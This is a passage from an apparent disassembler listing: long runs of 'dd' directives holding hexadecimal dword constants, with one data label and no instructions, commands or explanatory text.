828EAF92h, 90290A8Ah, 83AC840Fh dd 8C2DA110h, 0CB148003h, 79A5E55Eh, 0C9450029h, 47ACF25Ch dd 0E700A3C7h, 7B9604F7h, 14CD1E5Eh, 0AC527909h, 16746700h dd 141BCA4Ch, 1E7B3214h, 876801D0h, 13F093D6h, 84C0B980h dd 0ED22F2DEh, 1B46BA07h, 98CA8116h, 29890183h, 2907C84h dd 659A696Ch, 0C48268A2h, 8C809183h, 0B0C1FBFEh, 0B5061490h dd 1DCB028Eh, 6EEA70h, 0D4F97AFFh, 4113FE9Bh, 1A289A60h dd 79A3B003h, 733A2888h, 1B020CE8h, 0D520A89Dh, 0C842A0Ch dd 3606A91Ah, 18998911h, 301A1E44h, 948AFD3h, 2080790Ah dd 2D890F0Fh, 0C61E8580h, 90073732h, 5D99100Ch, 0CF7D0A8h dd 0C6B50BFEh, 16037370h, 0F67CAD75h, 0F5641822h, 0CF9C40B8h dd 6E31A20Ch, 0A819Bh, 0A4427DECh, 56A5B7Eh, 8D6F107h dd 0DE501C58h, 54888DDBh, 24E7DCB1h, 4074EFD5h, 0D1471760h dd 2F85A300h, 10295280h, 1C6F6C2h, 0D9678EA1h, 0E006978Bh dd 1B7C38DBh, 0B83ECD03h, 2282FEDFh, 0BF89888h, 8199583Ch dd 0D8765FAEh, 0FFCC11B3h, 0A1BC0274h, 33A3A773h, 0F191E481h dd 32D10787h, 8241F07h, 0E6391499h, 6E0C9C74h, 25F1D62Bh dd 8D207B09h, 32F4189Dh, 8E40402Fh, 0C8609A48h, 0E1996105h dd 40D9029Ch, 14889DB8h, 18E5D063h, 1710D60Fh, 50C714C0h dd 0B40F2328h, 4107CE0Ch, 0AD8E99DDh, 321C408Eh, 877017CCh dd 4CA7640Fh, 499B4C42h, 13020A97h, 1E0B954h, 2BD971D6h dd 4608211Fh, 100D1CB1h, 5097C991h, 1F524BE0h, 4A8CBD12h dd 0FEE85Ah, 3C7701BCh, 0D5078427h, 0BE4E2FDAh, 4BCCCDA0h dd 56325C89h, 4988C703h, 68A0F0FDh, 73008E39h, 0CD646066h dd 0F08FF85Fh, 36C624C2h, 4F780BBCh, 5341F300h, 6E98CCE7h dd 0FAD0CA00h, 7C65E3B3h, 5C8703B7h, 0F10EC646h, 0C47D8085h dd 1B1D525Bh, 128108D9h, 762B0A80h, 7BF08041h, 14DD74E0h dd 0E86E7E4Ch, 38932910h, 0C8CC4C90h, 4F026188h, 0FEB8000Ah dd 2803E0F6h, 0A988FFDh, 754E3988h, 398424FCh, 5099F598h dd 11E9317Fh, 38A684DFh, 26911004h, 7E828CE4h, 0C8A73296h dd 10C0181Ch, 1725EF5h, 224ED98Bh, 6EF0BAD0h, 98937D04h dd 45FE1D1Ah, 0D34387ECh, 95C777F5h, 391C419Ch, 0C457B7FCh dd 63F2880Dh, 5F829A00h, 4F84628Eh, 2B21971h, 1015B017h dd 607F3AAEh, 7EF5882Eh, 0B5000682h, 6FD0D5A0h, 26772A7Dh dd 1F45A01h, 8F958110h, 49EC2386h, 9A0D1004h, 180E8019h dd 331AD009h, 82591069h, 906A04h, 79A48727h, 0B57B81C1h dd 88311BCFh, 0B115022h, 0F67D0020h, 3985C771h, 40836012h dd 1C1BB65Bh, 0CCB40A55h, 81C15114h, 98221A30h, 8AF61448h dd 10147861h, 90AE4208h, 151480DCh, 0F49E88D2h, 50C02D74h dd 0F98467CDh, 2839C15Bh, 3699A0Ah, 0EB80571h, 0C0EBDD3Fh dd 0BC550C13h, 529A38C0h, 329498ABh, 58E8A989h, 49E98C86h dd 0C86E1D26h, 3473DF40h dword_4E0BD8 dd 695B0DF8h, 0D4219596h, 60927F0Ah, 0D9990C09h, 7BA880F6h dd 6FE5E774h, 82802991h, 0AA8C4684h, 0DCD8C548h, 1DF3FEC2h dd 82CCA1A0h, 6C208E45h, 256F290Ah, 87303BF8h, 0DDCD2A89h dd 1E243600h, 48BC599Eh, 0DCA10034h, 76144B3Fh, 0F7004E67h dd 0D90515D8h, 4C7DB2FDh, 990C9021h, 14A0BBF1h, 6817122Eh dd 5C306893h, 0ABFB79h, 0BF0A0BDAh, 0F5F4D36Dh, 6CAF8D2Ch dd 16D70108h, 0BB8047Dh, 0C41E131Bh, 48054416h, 2CD3A211h dd 0C799C0E6h, 870D6CBh, 67838C00h, 0E4361987h, 2840081h dd 80067462h, 99DB32C6h, 0ABA10C0Dh, 0C44140B4h, 19801117h dd 31F1C191h, 3A100E1Eh, 0F018199Fh, 0D9374911h, 0DDCBFB07h dd 84815B80h, 98A490B9h, 0FAB08F0h, 580E3D12h, 480BD022h dd 0DD0487DAh, 0FE1C8047h, 0CC606503h, 0BC0982F0h, 7E18CF46h dd 1A85584h, 835E5722h, 4AC8D980h, 8759A9A1h, 7C9C5D5Ch dd 496ED588h, 7E045C24h, 498E5F3h, 81B12Fh, 0AF01B7C9h dd 0FD78889Ch, 0D9E809B4h, 407F7498h, 41DF8A83h, 0C05007DCh dd 1B9A5784h, 287E10FAh, 0C20F76BAh, 0A0A631A4h, 0DA106EC8h dd 0C4015690h, 80461115h, 0E11C9E04h, 6C44909Bh, 0C491EF43h dd 552CE000h, 8AD7B8h, 660648BAh, 0E994AF13h, 79608B60h dd 26810F3Dh, 8458A57Dh, 1E282712h, 0A90CFC2h, 74C04126h dd 8B8E1C70h, 0BDFDE3h, 84F77D48h, 0F609ED16h, 90948DC0h dd 201A96F4h, 100C12B7h, 68A071A9h, 0AF6E04D1h, 81B6B98Ch dd 96509414h, 2401CF38h, 4702AEEBh, 46CE8852h, 1FEA0074h dd 9DA5252Eh, 5A1F600Bh, 50D706F6h, 4910C448h, 94259C02h dd 0F502409h, 0D2222820h, 289D7341h, 5E0421E1h, 1001E76h dd 2650B5C4h, 0C063C100h, 8E81A7B1h, 4B48129Dh, 6E0C0955h dd 0EDF8F013h, 0EB7292C2h, 71E90300h, 630C1CDCh, 3551C077h dd 91F88C09h, 0F6812300h, 0AAC6DEE1h, 671F0456h, 859CA594h dd 405CC495h, 0F01BC044h, 4500A161h, 6314223Ch, 236105Dh dd 0F7A4FE2h, 0B8C8AD91h, 3FFE0AC6h, 0E009B891h, 90E42FB1h dd 4005F085h, 7D663084h, 0C709E303h, 8762138Ah, 1238F360h dd 1D0C92E2h, 1444049Ch, 5D02CA0Ah, 659185F4h, 0CA94C8ABh dd 0F2065E44h, 121C92A7h, 43590349h, 8F6F435Ch, 6BAE5900h dd 1DB630Bh, 98B37C52h, 2C7C9A34h, 0D2BDF11h, 193895A5h dd 2543F298h, 0F84A4BC2h, 60EF3019h, 0D30019DBh, 1318206h dd 0AB6F2A4h, 1D2F3A80h, 0ADAB4298h, 0AC400809h, 84405213h dd 0FA6F8FEDh, 191B0008h, 73AF929Dh, 0D75CF0F5h, 29663778h dd 9C97FC6h, 0E720E646h, 8BED8C40h, 2881DE28h, 50CEB481h dd 3F36028Ch, 0B4A07C92h, 2C9ACDF3h, 85B8229h, 0B80AE80Ah dd 1243ACA1h, 48791E86h, 43394A35h, 0F9208E84h, 93794E6Ch dd 9FB9D406h, 0B0214739h, 959422CCh, 0F9EB5C0Ah, 16B818B9h dd 2040C6FBh, 0DD78039Ah, 9212301Bh, 643EE371h, 8A93801h dd 0D4D3B322h, 19DDB8CCh, 0C0CCD686h, 804182DEh, 48A45E5Ch dd 0E912EF20h, 8151713h, 74F4144Dh, 9210F8h, 97683F01h dd 22D68974h, 5008F048h, 2A114C2Bh, 1AA0236Eh, 0D1B9EFC3h dd 71FF7861h, 2CF7D1A4h, 635001Ch, 0EC99888h, 30D82613h dd 0D0794264h, 10839441h, 2ED10401h, 1974A995h, 8A856165h dd 808A1210h, 5474FD80h, 308D55A5h, 0CCD1F49Ah, 0CF53884Bh dd 799DCD28h, 690C280Fh, 945895DEh, 10D9144h, 65104599h dd 0D220C798h, 1711BCE1h, 78C9A810h, 40AC56D0h, 84570F81h dd 1883203h, 1073B44Eh, 85ECE013h, 0F944735Eh, 4C495612h dd 2B49BE1Eh, 1B583C1Fh, 0A4515415h, 91BA7FA0h, 9230323Ch dd 342A2025h, 0D9793E21h, 1B4E3F0h, 0E0B2C97Ah, 80D68E5Eh dd 77DD4ED0h, 70140183h, 95EE28D1h, 11BC8F48h, 590B0D0h dd 9B98A8BCh, 6FA401Dh, 0A8A51C2Ah, 0BC86B22Ah, 909F8E19h dd 5442D661h, 0EC12107Bh, 80FFF981h, 0C11F0684h, 85559A71h dd 0A07A8135h, 0D133EFD7h, 3092F7CDh, 897041DDh, 346357C8h dd 81C29CBCh, 0C120B708h, 204C3422h, 14BCA411h, 0A07201E8h dd 989CB424h, 0F609080Eh, 3D047494h, 1092909Eh, 8C28C8A9h dd 0A830004Bh, 0F8DA2FC5h, 4671FE6Bh, 357E3Eh, 0BFCC7341h dd 719D54Bh, 5F9964DDh, 8AF7D04Ch, 373B9A27h, 0CCA18056h dd 5DF0E66Dh, 157507E3h, 2FC28Fh, 28E78180h, 313053Ah dd 405A9C70h, 2140045Eh, 573E98h, 0E9C96DB6h, 75E60063h dd 4CC17307h, 0F2008C17h, 47094BBAh, 79C74D8h, 0F630854Fh dd 4298F1D0h, 0B7BCDC79h, 0E90B2C79h, 126BE661h, 5F043580h dd 9D02F8AAh, 0EBD62BCBh, 16D84063h, 44CE0088h, 0FAC47417h dd 76001449h, 5AAE73A2h, 7085E7Ah, 31950A89h, 41B5862Bh dd 0B16BED00h, 0DD360433h, 8310004Ch, 225CB0F2h, 7C07E70Bh dd 0E193A59h, 841EA01Fh, 80302F32h, 0FA20D829h, 361A1E6Ch dd 800640CCh, 2040C6F7h, 68D81200h, 227A536Bh, 1A9E07C2h dd 806C4184h, 0D826F9B8h, 0B15EE603h, 267D184Ch, 12380452h dd 0BA942E96h, 2EB8AF00h, 0E36DF4D4h, 36157200h, 71064CDAh dd 44C100F7h, 74E84722h, 24F845AEh, 2793011Ch, 40797D8Eh dd 0D116CC9Eh, 0F9B000F8h, 0CE8F462Ah, 3500172Eh, 1952B3C6h dd 3FDF1Ch, 2A5C2745h, 8E148F07h, 402B6931h, 0FBC92CCEh dd 74464800h, 84CC803h, 0C8BFC435h, 0CB751Eh, 8845AA2Dh dd 1483F45Eh, 79003EE4h, 2CC0EC84h, 0B0E9DAh, 750147E4h dd 3F083AC8h, 0AA8C1E59h, 7100B8FCh, 0D46DC5A0h, 3E35EF0h dd 0CC821648h, 0F790443Fh, 1C40498Dh, 0E9D7F5Dh, 8B033083h dd 7A3E9FE3h, 22C5AAB8h, 65BFD107h, 86F02AF2h, 447DCh dd 1BECC79h, 2DE61114h, 6D5EA600h, 83D60720h, 1641009Ah dd 2BD0EC7Bh, 6F07F6C9h, 360A38EDh, 74F03237h, 74C93F7h dd 2DD10C23h, 1DE0AEA8h, 9C248FF4h, 36573201h, 0D615D5ECh dd 0EFAB0D0h, 0F6730233h, 8A7F0680h, 265801ADh, 57622ACh dd 13890F3Bh, 478A58Eh, 0FE046F88h, 0C95A3680h, 52016BFAh dd 4E49C7CBh, 1EDDE105h, 603495DEh, 626FF3D2h, 52D8B700h dd 49FF037Dh, 0ABBA0A3Eh, 0E11C71A4h, 823AE25Eh, 719CB010h dd 1C145EA1h, 0B041D2B6h, 56078270h, 3F9764EBh, 0E9910FC1h dd 0F64C033Bh, 5100905Eh, 51B34C65h, 7F68F0AEh, 1C050483h dd 0E9308732h, 88E038Ch, 8D411Bh, 95031D58h, 4B144F37h dd 9C4028BCh, 2181F19h, 0A9749105h, 1CB1DFB7h, 0FA3F029Bh dd 0FB020074h, 847E4651h, 0D0006CD6h, 0E239853Eh, 0E091137Fh dd 8E2928F3h, 10733F68h, 3FE3A062h, 0BE130621h, 0C00051BBh dd 76D70405h, 822F399Fh, 6C90AE74h, 19079C8h, 0E7EA934h dd 8E31F732h, 6A910248h, 170E909Ah, 6F110341h, 0F7303888h dd 1A00D13Ah, 911E966Ah, 4E0036E6h, 7D66D8E5h, 2A9884E4h dd 0D0A6E8h, 0C835C6ABh, 6519EF26h, 1E21BC00h, 77C76F15h dd 0CDA03052h, 98AF92E8h, 0C1759427h, 0F6C40A80h, 1690C359h dd 0A983E6F3h, 7EF2915h, 6F6C00B4h, 0A42CB1DBh, 0B72E0BC9h dd 0DC8413F6h, 38CCACF1h, 0B5FB09DDh, 28B052A7h, 9D844BE1h dd 0D83DB887h, 67470D01h, 0F2C28F8Eh, 0BA1100C0h, 4E4379E2h dd 93005A3Dh, 201BA7DCh, 61CB342h, 3622EB63h, 0A80C507Ch dd 68AAF1F4h, 59400206h, 5E8BD2F9h, 5072052h, 0E1653690h dd 8380FA90h, 61A800ECh dd 455BD719h, 171D7EB1h, 6E08D276h, 49208081h, 3BCB0EEFh dd 0B1403403h, 0E0EB54F5h, 0F6E1F2h, 0F0910BE6h, 271385C2h dd 7360ACBCh, 74365414h, 2C536474h, 713CB9A7h, 643F4200h dd 0F86B3388h, 38480028h, 5A119DFFh, 0DA03CD82h, 0FA849568h dd 0E8512510h, 56CB5CC8h, 951CFD00h, 7234497Bh, 7FB000FBh dd 62F374C9h, 8664E312h, 0F8FC5680h, 91C55806h, 449EA935h dd 3804ED9Dh, 0B7409CE6h, 0EB5B9CEh, 11A2C709h, 67A05016h dd 10D621A3h, 12143BB9h, 0AC80D34Fh, 0F2919737h, 0E4403FEh dd 77AAA2BFh, 0CA5013B8h, 5B05C8A4h, 8E21A9F9h, 8496F801h dd 0D9800904h, 0F96A509Dh, 18C892D6h, 1982840Dh, 2774FC9Ah dd 2D46833h, 99412589h, 11B308C8h, 0DC9E5486h, 4E8624DDh dd 0AB004F9Ch, 0FEE0DF3Eh, 93325A06h, 60084206h, 35CC2199h dd 462878DFh, 4D389C8Fh, 6C50D01Eh, 8C664F3Ah, 90766A19h dd 2E17206h, 829AF721h, 6474BE11h, 50E45E13h, 0BF371CB1h dd 19FFC0DDh, 0A9E6D1C4h, 0DEF90B09h, 0B9580295h, 118801B8h dd 5E8C24BDh, 0F5418D60h, 80EDC8h, 0CD17FA1Eh, 75656FBAh dd 3204C2EAh, 6ED68649h, 0DB00C4EDh, 0FB1901DAh, 214B260Bh dd 124A588Ch, 0F0E71A14h, 0A3096F9Ch, 82BEE139h, 4038DB1Ch dd 188D5150h, 8D3DD30h, 79540A90h, 87726580h, 9D401498h dd 0DC823AA8h, 5DD00800h, 80313033h, 0C0EB3A27h, 281E6120h dd 2063E6h, 0CE5CB8A7h, 8FB35A0Fh, 0C4C3084Ah, 48210074h dd 0D47B5C4Dh, 600F17Eh, 0E9938AA9h, 480DF307h, 11296037h dd 1133EE4h, 0DC5000CDh, 0F0898D6Ah, 54D40F54h, 0AA15DD01h dd 0A1A85266h, 0F8E33DD5h, 77ECEFDh, 3E6DB30Bh, 6E670DDh dd 0A17ED2B1h, 68B7A724h, 23CF308h, 0B5959110h, 1A049076h dd 0FA013F7Fh, 23A675A9h, 40FE3A60h, 6ED70497h, 82F673B3h dd 32304A3Ch, 0FEE411DFh, 808D883Ah, 5FDF29C8h, 1202A362h dd 1BCDAC07h, 0B898561Ch, 49D4BC1Fh, 10007AC2h, 60968DCAh dd 0FB863000h, 2E6FA4F7h, 0C5B2A31h, 90E904D0h, 0ADEEC00Fh dd 7F1F76C8h, 0CDC2D9B0h, 68C5F37Eh, 217B794h, 42EB2B59h dd 0CC697862h, 0E8402FEFh, 8B9C0D9h, 0B1A40244h, 7E6F3B31h dd 0D415C448h, 1B20A101h, 0C2C323Fh, 15C0F060h, 0D07D40DFh dd 0E5230894h, 0CD5CB701h, 7118420Fh, 1503988h, 9607E75Ch dd 0CDC6F52Ch, 1B38E414h, 60C8129Dh, 0C092E92Ch, 115B80C9h dd 3700E469h, 8697678Bh, 0CFA2711Ch, 2D2FD620h, 0FA9FFBA0h dd 21B5888Dh, 0B6817ACh, 48A6D060h, 8606E0ABh, 2121948Eh dd 82039017h, 0BD985020h, 91011650h, 0E5CE0CDh, 4B70213h dd 894C3CE0h, 735EE492h, 510D4D00h, 533D74F6h, 274E2458h dd 80501110h, 0FEDEDF40h, 90448C4Ah, 0DF3700C6h, 46DA7A53h dd 6B02795Dh, 1F0A0E10h, 4118EA3Bh, 0ED018B88h, 58606F9Fh dd 800C3B1Ah, 6C9181DEh, 5F02AE02h, 873F0009h, 84509A21h dd 9E270B80h, 0AD4661Dh, 0B2220729h, 0C4CD8E90h, 0FD89680h dd 8562AD81h, 0C2E6E478h, 133E8FFCh, 271BCC44h, 0BE4DB33h dd 805263h, 0FFB57508h, 168EC239h, 0B8E82F00h, 79D78214h dd 102D7E55h, 2010913Bh, 2DD6292h, 74C0EAA3h, 30B2C51Dh dd 8210144Dh, 5C636E35h, 200F3CD8h, 8F0AF193h, 412E82E4h dd 0BCE09EEFh, 2B17A2C4h, 0C011674h, 34CDDC6h, 58A7B3F5h dd 28826CEAh, 0ECC4EED5h, 48DD3D00h, 0AFE28540h, 0D2A03383h dd 21000108h, 3548E55Fh, 98D91185h, 0C0189DECh, 0DA011CA5h dd 92B09C56h, 75F44D2Fh, 3C1907B8h, 0DB8DF08Eh, 5914C810h dd 0E697F601h, 0E751A133h, 27C3E080h, 9DE1FBFEh, 47DA8CBh dd 0D0612AE4h, 0D70ECCB9h, 0DC9A448Ch, 3DB9D800h, 0F77E907Ah dd 9F9C0337h, 83DDFDF3h, 1D8F023h, 853148E4h, 887218DAh dd 4800EC5Ah, 0BF6E566Dh, 1524C6Fh, 0F9C80727h, 30B6CEC6h dd 59486C08h, 9AD98458h, 0FC72270Bh, 0C083B7E0h, 130ED6F6h dd 0E20B0F12h, 70C2203Ch, 0B7C007E5h, 9011E927h, 0A334DB55h dd 0F6D0A41Eh, 81062104h, 0F312E0ECh, 1C089241h, 0C901C64h dd 0A9EF920h, 60CB099Ch, 0D1CC29D0h, 36C41992h, 7A200FCh dd 9A1E27F4h, 0DD098102h, 440C9B03h, 74E7120Ch, 70808B7h dd 0DE906082h, 0D2088912h, 4F88C8D8h, 0F1DF31C3h, 0F61932FEh dd 0DF38C520h, 0DC2D002Bh, 0CB0BCE90h, 0BEE0DB4Dh, 37460C92h dd 0B6B9D302h, 0A131CF0Eh, 0B9DBD710h, 88EEDF16h, 0CA2450B3h dd 0C6850838h, 3193E50Ch, 9F9762Fh, 36324BB1h, 0A11A7D0Eh dd 0B4F1EC09h, 8441C200h, 116AA0Bh, 432A01C3h, 0EC2D4512h dd 9220698h, 88EC818Fh, 0CC38E3FAh, 0B40834C5h, 0E54D0DD2h dd 601846D8h, 7C049700h, 0B6907EEFh, 60125C15h, 0DF03403Bh dd 9391FC86h, 0D844B044h, 63B27600h, 4FB82D9Fh, 1098001Bh dd 0DDCE0BBEh, 4896F9A1h, 0D76F12h, 36C01EB7h, 1D98A464h dd 0C1A66CCFh, 872B8D7Bh, 348EFD19h, 80E60B8Ch, 1390F701h dd 0D931AB4h, 5ECEBC34h, 0F4A8906Fh, 3F00B622h, 0F3E04538h dd 3C5D038Dh, 98021080h, 110E8457h, 0DF1C24C4h, 206E2862h dd 2AB10309h, 0DC11D0F8h, 3F48E087h, 4C4FAA8h, 48E85E40h dd 511C2CE1h, 98B14B0Ah, 0A4DF1B44h, 91F3FE41h, 0EEF05C8Ah dd 9C58DE02h, 0D481FE8Fh, 0C09580D0h, 0F13EA790h, 0AF6A2E00h dd 5036DBF5h, 8D4E0614h, 10D5E730h, 0C80CCC82h, 6CA0EE08h dd 8A0B256Ch, 0D2E4053Dh, 701CA4F8h, 40FCA235h, 69EC2BDCh dd 7C0219FEh, 53C0DFCEh, 0E2E9E1C3h, 889D8090h, 6431A12Eh dd 4311A4CAh, 0D9DF3D80h, 448C52FEh, 3400C99Ch, 122CF5DFh dd 7D3AF6BCh, 72111301h, 89B487ADh, 98D8ED0Bh, 4A2C70B3h dd 6CC54912h, 1E704480h, 178BBECh, 0FD05CB2h, 887F184Ah dd 5C004F3Ah, 8AC67A30h, 1CC20B4h, 88981427h, 0AC7DAE11h dd 0BD0878D0h, 222A04B3h, 0B84CF4FEh, 0A4D3E55Ah, 4C3AE088h dd 460C0ED5h, 0F3038C67h, 380C9F09h, 0C84E0B73h, 0D4A641A1h dd 0D0B08246h, 2188DA25h, 0A66ECFB0h, 46A411A0h, 7C3F264Dh dd 0A48CCC20h, 7FCB8E44h, 7C560136h, 4CDABECAh, 8D70900Fh dd 0CF3A1404h, 0E814B425h, 5CB6048Ch, 0A26A0FD4h, 4346C00Ch dd 1E484A5Ch, 0C07B560Ah, 802DF8F7h, 4927166Eh, 581C0C06h dd 4B048CE1h, 620FD15Ch, 45207362h, 2E545C44h, 85CEE10h dd 0AC4E124Bh, 392DD994h, 0F292079Ch, 0C79090EEh, 98073767h dd 8A6D0C2Ah, 0B1AC640h, 3140C101h, 8C05E5h, 0A186B11Ch dd 9FD2DEB4h, 809211ACh, 2724783Dh, 8BF60E57h, 6682F47Bh dd 0E444161Bh, 0E1037E08h, 0A36700B2h, 807DC00Bh, 2F871A12h dd 73C8D0CEh, 9E29ABC0h, 31AC006Bh, 0E16C177Dh, 5CB227E5h dd 0C5EE4509h, 0A02CEB14h, 961F1B3Ah, 52E8969Ch, 0BF0C384h dd 7BA02901h, 0DEF1CE80h, 0CE15FBC3h, 904A01B8h, 3EB7B634h dd 0D99850EFh, 3549990Fh, 9EE40B24h, 1FCC7AF4h, 4963C09Dh dd 6CE4EC91h, 0D1023546h, 0FF0E4CB9h, 0F2179F31h, 8AE0B9D9h dd 0BB069DAFh, 7873020Dh, 0B8F025C0h, 18DB0411h, 3E4808DFh dd 0EC4D285h, 48E75D41h, 76ED4029h, 0AE12CA10h, 0BC80EB32h dd 64926C07h, 32EDB845h, 0B9D43036h, 0F70E4B10h, 0B9DCD8E0h dd 143A7A00h, 45171240h, 398516D0h, 0C938C01Ah, 955F8979h dd 84CEF0C2h, 0ECFC72C0h, 5E3AB002h, 9C441E3Eh, 0B502E746h dd 520FD35Ch, 47107C31h dd 0F5005C4Eh, 9E6A42DFh, 4FF176Ch, 121D502Ah, 0FEDCF04Ah dd 9658B1E6h, 0CEDA885Ch, 0D43B48E7h, 35438EAh, 0A29C48E2h dd 0D0A830F8h, 335B1214h, 683FE4C1h, 0EB8CC28h, 6371098Ch dd 84873CAEh, 586819A5h, 42864007h, 408E3A76h, 0BAFF00D1h dd 4AEDFC6Fh, 7E123133h, 0A4D00A0Eh, 9EE4EA36h, 44164BCh dd 2C432F7Bh, 0E6D2818Eh, 1F0ED05Ah, 0E02467D6h, 3D746297h dd 0B8710764h, 11A38F16h, 0F950CB41h, 63B0E8A1h, 17E9B49Eh dd 857411A0h, 5CC1596Dh, 0D04080EEh, 0F996839h, 85A7111h dd 50F217h, 0A7CF3C67h, 9B45Ch, 7F95D401h, 86D72448h, 8E0AB01h dd 0CEDD40BAh, 51BF6C20h, 54284C30h, 5E43512h, 0CFBC9D43h dd 0C00E885Ch, 0AD588CAh, 581668C0h, 24AA8027h, 740067F3h dd 7C7D7746h, 959F00D5h, 0C57A0918h, 61956591h, 203396A0h dd 0C531A4F2h, 1CBDEEC8h, 0FE19684Bh, 73F22189h, 1010ACE9h dd 77F359h, 8CEFB2Fh, 5B534F89h, 375EF400h, 3F23930Bh dd 953C9E63h, 2900C807h, 31541474h, 6D5E0D4Eh, 1BF06891h dd 0C7375980h, 39D216E1h, 50A29200h, 0FB45F9C5h, 1BD02B8h dd 87846E1Eh, 0A068100h, 7EBB0063h, 0F99860C9h, 0A917D44Dh dd 90A2E44Ch, 23A42F5Ah, 3041008Eh, 0FFC4753Eh, 19EE22h dd 7E4A1516h, 9366CBB6h, 0C38E4C00h, 120EEE27h, 5CC0951Fh dd 80096832h, 0E0390BFEh, 254188E0h, 0ECA4ADDAh, 54CB528Dh dd 2DC075C8h, 12318DA7h, 88141B0Eh, 9D20FB80h, 804894h dd 0CD012923h, 0DF0EB8B9h, 0D589A818h, 4B9C4h, 443A0ED6h dd 8E316341h, 36C84B02h, 0F91B12A3h, 0B38009Ch, 0DCF693D0h dd 3FF2F101h, 91028D74h, 0BF869570h, 98975087h, 0B4BC3512h dd 0DC347180h, 492622C9h, 5101FA27h, 4B94B8F7h, 8A9A2460h dd 7000CD9h, 0D0063503h, 825F45Dh, 0A43DF3B6h, 9E22D604h dd 1384ECF0h, 858D016h, 0E82D0868h, 0B4828E64h, 1FF19C98h dd 85D43C0h, 494A391Bh, 898AECE0h, 1956165h, 9539D4h, 12581473h dd 0A8A1A9F9h, 84970B3Ch, 8DC6803h, 9452491Ah, 81DD7A04h dd 0C610F019h, 60563A5Ah, 7FB5240Fh, 9452028h, 145B6090h dd 11108385h, 82181904h, 9C69905Fh, 0EA999280h, 0FC4A4C3Fh dd 0CB0B2B10h, 44D099C9h, 0DF0B3C18h, 0E56AFEDAh, 33CA8020h dd 0EDFE3FDFh, 64A0AF0h, 3D0A0B1h, 0CDC94B9h, 8890D71Ah dd 99861918h, 17DC821h, 0A0A6AB27h, 89A7F211h, 478818h dd 1BE538FCh, 400CBEC6h, 34E77AE4h, 3000AEFEh, 472108C4h dd 6D96FEAh, 150B02B7h, 3AFA70DBh, 50864A31h, 0C03687FEh dd 0C4D861F0h, 718DD425h, 8C426B8h, 10043F2Fh, 28B091A1h dd 70452CCCh, 72465E4Ch, 7500983Fh, 1BE632C0h, 0D1E6FE0Bh dd 82C8B060h, 888D0221h, 80CF1247h, 8E12108Fh, 0F264A230h dd 22B4309Fh, 0CA75E012h, 99A96C00h, 903AC409h, 85632A44h dd 0E29F0FB8h, 41206F9Eh, 0CDFC9D01h, 0B298AD60h, 3D2A860Eh dd 8919CEB0h, 183488DFh, 49B90BD2h, 0C445E70Eh, 88DAB1BFh dd 55DC8325h, 2F0600E0h, 0B5308558h, 0F20B9989h, 45935D0Fh dd 80B1EF50h, 0D476E167h, 0F24D0441h, 886381BBh, 9E0037D4h dd 7239CF91h, 290FB92h, 0F4DF5EBh, 74703D99h, 10F4E448h dd 33CAB4E5h, 2417A5DCh, 0D4807F91h, 80E3F8DAh, 1D20F490h dd 797CB994h, 785618A4h, 997C3D36h, 8837E884h, 0C420AB60h dd 1D58396Bh, 4B9FC14Dh, 0F0C4A1C2h, 2F961444h, 0E00F8F3Ah dd 0C90AF9Fh, 0E525B351h, 9DE08901h, 80A31108h, 0E10BE5DEh dd 6E400A8h, 0C3D6B4E8h, 41128281h, 34043D9Ch, 874C844Ch dd 31422A18h, 701DC689h, 0D71C463Bh, 45FB0983h, 7D587C78h dd 1BBF10B4h, 4F9D6501h, 0C8808E73h, 32FF9F1Ah, 7DFD08B4h dd 96244285h, 8074B25Fh, 28D39930h, 81C80911h, 0C08229E1h dd 90549DF1h, 8420744h, 4858F612h, 484B0BE0h, 0E66B0C97h dd 81C6FEE8h, 613893D3h, 7B88A4CBh, 0DE9FA1C0h, 0D7461F80h dd 8F30821Ch, 205F058Ch, 6D82E384h, 38B90263h, 0EED0E87Eh dd 9B007864h, 0F5FDD5D2h, 0C745ECh, 0C5882A4Ch, 186044E3h dd 0CDF6B800h, 0FB32207h, 0C1C20456h, 0EAE537EBh, 4E2E5443h dd 2A82884Bh, 0E0810023h, 50A0B0CEh, 0AA00E30Dh, 0B83C7B05h dd 3A1C73Fh, 70E69B38h, 0B9EC90EBh, 81DE0470h, 412A725h dd 208D774h, 71111B68h, 2DF304F4h, 0E40213BCh, 3137B3Eh dd 0D1071203h, 27C24473h, 30B80954h, 8CC0F05Ch, 1FE614F9h dd 117552F0h, 4213341Fh, 0FF67EF40h, 17A8F99Fh, 8B1DDC79h dd 0CE9BC824h, 94BEFF40h, 609F4131h, 241293A8h, 42340DABh dd 180ABB2Dh, 82B823AFh, 40C68267h, 839886DCh, 87654E2h dd 83083308h, 29DB9D61h, 8C8556ABh, 112488B4h, 282F822h dd 744CF0FBh, 0DA586CECh, 12539044h, 0F8D8E776h, 12A02034h dd 0A02B0A0Eh, 75E40C60h, 48F3B3Eh, 0B6315880h, 30B1CC1h dd 0CD848201h, 4BD85085h, 38F7ACAFh, 85F842Ch, 10B21221h dd 0C4CB01E9h, 2140F320h, 0E7D2A213h, 608DC440h, 0C839B9h dd 5E570C29h, 18BD6B9Dh, 0E9BFE100h, 4612F007h, 45F091F9h dd 53BC5C40h, 0A274B059h, 94419A81h, 8E031371h, 0F0A4899Ah dd 4844886Fh, 7381E60Eh, 0DDE4654Fh, 8D551881h, 9E86400Ch dd 754656CCh, 512E4B02h, 76284F7h, 98201875h, 8D6D208Ch dd 695EF619h, 68E48A39h, 0D8EA00D2h, 26C72FA1h, 0CDFAE0FDh dd 79F2BE48h, 41A81662h, 2C071AA4h, 7A65A782h, 0D6CA73E0h dd 0ACF3E0D1h, 12219860h, 2D4A5309h, 139676CEh, 0D378A4F0h dd 0B68F5D00h, 27464FB1h, 0B3E39BBh, 0A9D52382h, 54E15675h dd 66020B5h, 22CC7C53h, 1ABC0998h, 0E49E1B43h, 0C469486Bh dd 0B89C3888h, 5CB7B080h, 0F12BB96Ch, 2F975102h, 82B28A38h dd 190A0F80h, 111FD2A3h, 237859Ah, 858DFC81h, 0B990C004h dd 0F890E44Ch, 0A27109F4h, 1DD00782h, 83028CA8h, 0C84E1D0h dd 0EC4E80FFh, 9C948738h, 6903FE40h, 9C38C1B6h, 3F12CE19h dd 8094046Ch, 5B270A14h, 0F900493Dh, 0F7B6828h, 8DAEE012h dd 0E4CFDE80h, 945C87D3h, 0F120600Ch, 90427C30h, 707048FCh dd 8C7CBCh, 5479DF12h, 35FA7848h, 873C670Eh, 0E854D321h dd 1488B1A8h, 0D810200h, 8C548648h, 7979C1E7h, 3EDA4B1Bh dd 388E2364h, 0D69DC08Fh, 18820D69h, 0ECC6A0C9h, 47803369h dd 60724428h, 0EAEADDD9h, 8D6601A1h, 659864D8h, 91688918h dd 